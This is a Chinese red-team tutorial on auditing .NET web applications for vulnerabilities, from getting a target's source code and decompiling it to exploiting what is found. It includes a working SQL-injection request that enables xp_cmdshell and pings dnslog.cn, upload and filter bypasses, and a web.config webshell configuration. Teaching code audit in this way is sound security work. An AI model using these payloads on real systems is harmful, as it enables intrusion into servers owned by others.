红队快速高效挖掘.net系统漏洞技巧
字数 3407 2025-12-01 12:10:06
.NET系统漏洞挖掘技巧教学文档
一、源码获取方法
1. 网盘资源获取
- 凌风云网盘:https://www.lingfengyun.com/
- 搜索目标系统的源码压缩包、备份文件
2. 二手平台购买
- 通过闲鱼等平台购买目标系统源码
3. 指纹识别与扫描
- 使用特定body特征进行目标识别
- 结合压缩文件目录扫描(重点扫描www.zip等备份文件)
- 旁站扫描获取备份文件
二、反编译与去混淆技术
1. 反编译工具
推荐工具:
- ILSpy
- dnSpy
- dotPeek
2. dnSpy使用技巧
单个文件反编译:
- File → Open → 选择DLL文件
- 导出到工程进行分析
批量处理:
# 打开整个bin目录
File → Open → 选择bin目录
3. ILSpy命令行操作
# 安装ilspycmd
dotnet tool install ilspycmd -g
# 反编译整个目录
ilspycmd -p -o output_dir .\bin\*.dll
# 反编译单个文件
ilspycmd -p -o output.cs .\bin\YourApp.dll
4. 批量反编译脚本
@echo off
chcp 65001
setlocal enabledelayedexpansion
for /R %%F in (*.dll) do (
set "out_dir=%%~dpF%%~nF"
if not exist "!out_dir!" mkdir "!out_dir!"
ilspycmd -p -o "!out_dir!" "%%F"
)
echo 全部完成!
pause
5. 代码混淆识别与处理
混淆特征:
private string ;
private void (string )
{
if (this. == )
}
去混淆工具:
- de4dot(https://github.com/0xd4d/de4dot)
- de4dot-cex(https://github.com/ViRb3/de4dot-cex)
使用方法:
# 单个文件去混淆
de4dot.exe source.dll -o Remove_obfuscated.dll
# 批量去混淆
de4dot.exe -r D:\input -ru -ro D:\output
6. Python批量去混淆脚本
#!/usr/bin/env python3
import os
import subprocess
import shutil
from pathlib import Path
import time
def main():
print("快速de4dot批量反混淆工具")
print("=" * 40)
# 检查de4dot可用性
try:
result = subprocess.run(["de4dot", "--help"], capture_output=True, text=True, timeout=5)
if result.returncode != 0:
raise Exception("de4dot命令执行失败")
print("de4dot全局命令检查通过")
except Exception as e:
print(f"de4dot全局命令不可用: {e}")
return
# 文件筛选
current_dir = Path(".")
dll_files = []
for pattern in ["*.dll", "*.exe"]:
dll_files.extend(current_dir.glob(pattern))
exclude_patterns = [
"System.", "Microsoft.", "Newtonsoft.", "EntityFramework",
"Oracle.", "MySql.", "NLog.", "Quartz.", "RestSharp",
"StackExchange.", "Thinktecture.", "BouncyCastle"
]
filtered_files = [f for f in dll_files if not any(p in f.name for p in exclude_patterns)]
# 批量处理
output_dir = Path("deobfuscated")
output_dir.mkdir(exist_ok=True)
success_count = 0
start_time = time.time()
for i, dll_file in enumerate(filtered_files, 1):
print(f"\n[{i}/{len(filtered_files)}] 处理: {dll_file.name}")
try:
output_subdir = output_dir / dll_file.stem
output_subdir.mkdir(exist_ok=True)
cmd = ["de4dot", str(dll_file), "-o", str(output_subdir / dll_file.name)]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
if result.returncode == 0:
success_count += 1
except Exception as e:
print(f"异常: {dll_file.name} - {e}")
if __name__ == "__main__":
main()
三、ASHX与DLL映射关系分析
1. 页面与代码关联
- ASPX页面(如
AjaxUpload.aspx)对应代码文件(AjaxUpload.aspx.cs) - 页面继承自DLL中的类(如
M_Main.AjaxUpload) - 通过反编译对应DLL找到相关类进行审计
2. 映射关系识别
- 分析页面继承关系
- 在反编译的DLL中查找对应类名
- 跟踪事件绑定和方法调用
四、常见漏洞Sink点审计
1. SQL注入漏洞
危险方法:
ExecuteNonQuery()ExecuteReader()ExecuteScalar()SqlDataAdapter.Fill()ExecuteSqlCommand()ExecuteSqlRaw()CreateSQLQuery()connection.Query()
审计要点:
- 检查SQL语句是否通过字符串拼接
- 查找
Request/Query/Form/Cookie直接插入SQL - 关注
+、String.Format、$""等拼接方式
2. 命令执行漏洞(RCE)
危险方法:
Process.Start()ProcessStartInfo.FileNameProcessStartInfo.Arguments
审计要点:
- 用户输入是否拼接到命令参数
- 是否直接调用shell或PowerShell
FileName和Arguments来源是否可信
3. 文件上传漏洞
危险方法:
SaveAs()WriteAllBytes()WriteAllText()FileStream.Write()
审计要点:
- 扩展名、MIME类型、内容类型校验
- 文件名路径分隔符检查
- 保存目录权限控制
- 防止覆盖已有文件
- 可执行脚本(.aspx/.ashx)上传检测
4. 反序列化漏洞
危险方法:
BinaryFormatter.Deserialize()SoapFormatter.Deserialize()JsonConvert.DeserializeObject()LosFormatter.Deserialize()
审计要点:
- 反序列化输入源(Request、Cookie、ViewState等)
- 是否使用不安全序列化库
- 输入数据是否可信
5. 任意文件读取漏洞
危险方法:
File.ReadAllBytes()File.ReadAllText()Response.WriteFile()Response.TransmitFile()File()
审计要点:
- 用户参数是否直接作为文件路径
- 路径合法化检查
- 文件下载接口安全性
6. 路径遍历漏洞
危险方法:
Server.MapPath()Path.Combine()File.Delete()Directory.GetFiles()
审计要点:
- 路径拼接是否包含未过滤用户输入
Path.Combine后是否进行规范化校验
7. XXE漏洞
危险方法:
XmlDocument.LoadXml()XmlDocument.Load()XmlReader.Create()DataSet.ReadXml()
审计要点:
- 是否启用外部实体解析(DTD)
- XML数据来源是否可信
8. SSRF漏洞
危险方法:
WebClient.DownloadString()HttpClient.GetAsync()WebRequest.Create()HttpClient.PostAsync()
审计要点:
- 用户是否可指定请求URL
- 目标地址白名单检测
- 内部地址访问控制
9. 远程文件下载漏洞
危险方法:
WebClient.DownloadFile()HttpClient.GetStreamAsync()HttpClient.GetByteArrayAsync()
审计要点:
- 用户是否可控制远程文件URL
- 保存路径是否可控
- 是否存在任意文件写入风险
五、未授权访问漏洞挖掘
1. 默认路由暴露检查
分析方法:
var controllerTypes = typeof(MvcApplication).Assembly.GetTypes()
.Where(t => t.IsSubclassOf(typeof(Controller)));
foreach (var ctrl in controllerTypes)
{
var actions = ctrl.GetMethods(BindingFlags.Public | BindingFlags.Instance)
.Where(m => m.ReturnType.IsSubclassOf(typeof(ActionResult)) || m.ReturnType == typeof(ActionResult));
Console.WriteLine($"{ctrl.Name}: {string.Join(", ", actions.Select(a => a.Name))}");
}
2. ASMX服务未授权访问
黑盒检测:
- 目录扫描枚举
.asmx文件 - 常见服务名:
service.asmx、webservice.asmx、CommonService
白盒检测:
- 使用
dir /s /b *.asmx命令查找 - Everything工具筛选
测试工具:
- SoapUI(https://github.com/SmartBear/soapui)
- 注意HTML编码处理
3. Web.config处理器分析
配置示例:
<handlers>
<add name="AjaxMethod" verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax" />
<add name="scissors" path="scissors.axd" verb="*" type="BitmapCutter.Core.HttpHandler.BitmapScissors,BitmapCutter.Core" />
</handlers>
分析方法:
path="ajax/*.ashx"→ 可访问路径/ajax/*.ashxpath="scissors.axd"→ 可访问路径/scissors.axdverb="POST,GET"或verb="*"→ 支持的HTTP方法
4. [AllowAnonymous]特性检测
危险配置:
[Route("uploadAnony")]
[AllowAnonymous]
[HttpPost]
public IHttpActionResult uploadAnony(string code)
{
HttpPostedFile A3 = HttpContext.Current.Request.Files[Class0.aHX()];
string A4 = A2[Class0.ahA()];
string B = A4.Split('.').ToList().Last();
A3.SaveAs(text);
}
风险:
- 允许匿名访问
- 无身份验证和鉴权
- 直接文件上传功能
六、绕过技巧
1. SQL注入绕过
常见过滤关键字:
exec|insert|select|delete|update|truncate|or|drop|xp_cmdshell|waitfor delay|--
绕过方法:
- 使用未检测关键字:
union,and,where,from,table,database等 - 大小写绕过:
SelEct - Unicode编码:
%3C%3Fxml - 特殊字符:空格替换(``、
\n)、注释符(/* */)
2. 文件上传绕过
Windows文件名特性:
- 末尾点号自动去除:
shell.aspx.→shell.aspx
代码检测绕过:
string fileName = Path.GetFileName(fileUpload.FileName);
string fileExt = Path.GetExtension(fileName)?.ToLowerInvariant();
string[] banned = { ".asp", ".aspx", ".jsp", ".jspx" };
if (banned.Contains(fileExt))
{
Response.Write("不允许上传的文件类型");
return;
}
3. 403 Bypass绕过
场景:
- 上传asp/aspx文件返回403禁止访问
- 目录无法解析脚本文件
解决方案:
- 上传web.config格式的shell文件
- 修改IIS配置允许.config文件执行
配置示例:
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified"
requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
七、实战案例研究
案例1:虚拟路径映射+前台SQL注入
目标特征:
- Fofa资产数量1500+
- 虚拟路径映射配置
漏洞位置:
Web.config中httpHandlers节点配置bin/xxxx/AppDataHandler.cs
危险方法:
ExcuteNonQuerry:执行INSERT/UPDATE/DELETEGetDataTableByText:执行SELECT查询
攻击载荷:
POST /xxxxx/AppData.ashx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=ExcuteNonQuerry;cmdtext=EXEC+sp_configure+'show+advanced+options',1;RECONFIGURE;EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE;EXEC+xp_cmdshell+'ping+dnslog.cn'
案例2:重置密码+后台任意文件上传
漏洞链:
- ID越权获取身份证号
- 身份证号重置密码
- 后台任意文件上传getshell
密码重置漏洞:
- 硬编码密钥:
key = "123456" - 可预测的加密算法
文件上传漏洞:
private ResponseData UploadFiles(HttpContext context)
{
// 未验证文件扩展名
string extension = Path.GetExtension(httpPostedFile.FileName);
string text3 = Guid.NewGuid().ToString() + extension;
httpPostedFile.SaveAs(text2 + text3); // 直接保存
}
路径遍历利用:
string folder = Request["folder"];
string path = Path.Combine("~/uploads/", folder, fileName);
file.SaveAs(Server.MapPath(path));
八、自动化审计技巧
1. 代码搜索命令
# 查找文件上传相关代码
grep -r "SaveAs\|WriteAllBytes\|FileStream.*Write" decompiled_output/
grep -r "HttpPostedFileBase\|IFormFile" decompiled_output/
# 查找SQL注入点
grep -r "ExecuteNonQuery\|ExecuteReader\|ExecuteScalar" decompiled_output/
# 查找命令执行点
grep -r "Process.Start\|ProcessStartInfo" decompiled_output/
2. 重点审计模式
- 用户输入直接拼接SQL语句
- 文件操作未验证用户输入
- 反序列化操作未验证输入源
- 配置文件中的硬编码凭证
- 注释中的敏感信息泄露
本教学文档涵盖了.NET系统漏洞挖掘的全流程技术要点,从源码获取到漏洞利用,提供了完整的技术栈和实战案例参考。